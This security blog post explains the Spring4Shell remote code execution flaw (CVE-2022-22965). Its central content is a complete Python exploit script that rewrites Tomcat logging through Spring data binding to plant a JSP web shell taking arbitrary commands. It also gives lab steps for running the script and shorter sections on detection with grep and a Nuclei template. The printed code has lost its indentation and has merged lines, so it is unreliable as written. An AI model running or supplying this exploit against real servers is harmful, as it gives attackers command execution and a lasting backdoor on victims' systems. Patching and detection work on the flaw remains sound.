Spring4Shell: An Application Vulnerable to RCE

Introduction

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Spring WebFlux is a fully non-blocking, annotation-based web framework built on Project Reactor that makes it possible to build reactive applications on the HTTP layer. WebFlux uses a new router functions feature to apply functional programming to the web layer and bypass declarative controllers and RequestMappings.

To understand how to Build Web Api’s or Web Applications in Spring Read this article

Prerequisites for the exploit:

If you’re using Tomcat and a vulnerable version of Spring, you pretty much have a problem, and should be patched now, Here are the pre-requirements for the current exploit to work on the target system:

Severity

The Severity is CRITICAL, Click the following Link to CVSS-v3 to have an in-depth look at how this vulnerability affects the CIA of the target system.

Proof of the Concept:

This exploit code was published by @Rezn0k,

# Author: @Rezn0k
# Based off the work of p1n93r
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]) # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1) # Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "") if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)
if __name__ == '__main__':
main()

Running the Exploit

The amazing group of members at Lunasec developed a Java Web Application that is vulnerable to the Spring4Shell vulnerability (CVE-2022–22965), The Application is dockerized so that it can be easily implemented, The Application was built based on the tutorials provided on the official Documentation of Spring for Form Handling.

Github Link: https://github.com/lunasec-io/Spring4Shell-POC

How to Setup the Lab:

  • Now the Copy the exploit code mentioned above and save it as exploit.py
  • Now go to your terminal and execute the Exploit on Vulnerable url python3 exploit.py — url http://localhost:8080/helloworld/greeting
  • On visiting the shell URL which is (http://localhost:8080/shell.jsp?cmd=id ) in my case, and passing any command in the cmd= argument, You can see you have successfully Achieved RCE on the App-Docker-Container.

Is your Application Build Upon Spring Framework?

This quick grep search can help you identify if your application is built upon the spring framework, This is not the proper way to make sure you are completely safe against the vulnerability but will help you to have a starting point to get started in investigating this issue.

Unzip the war package using the zip command in Linux.

Now go to the decompressed Directory and execute the following command to find any file which matches the spring-beans-*.jar pattern. If the grep returns any results it indicates that the business system is developed using the Spring framework.

Scanning Your Networks

Recently one of the security researchers has built a Nuclei Template to Detect Spring4Shell, This template can be easily run to scan for Spring4Shell on your Networking, routing, or security devices inside your network.

Template Link: https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-22965.yaml

How to run a Scan:

  • Download the template in the current dir
  • Save all your target IPs or Web Addresses in urls.txt
  • run nuclei -list urls.txt -t CVE-2022–22965.yaml

References:

Originally published at https://tutorialboy24.blogspot.com .

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.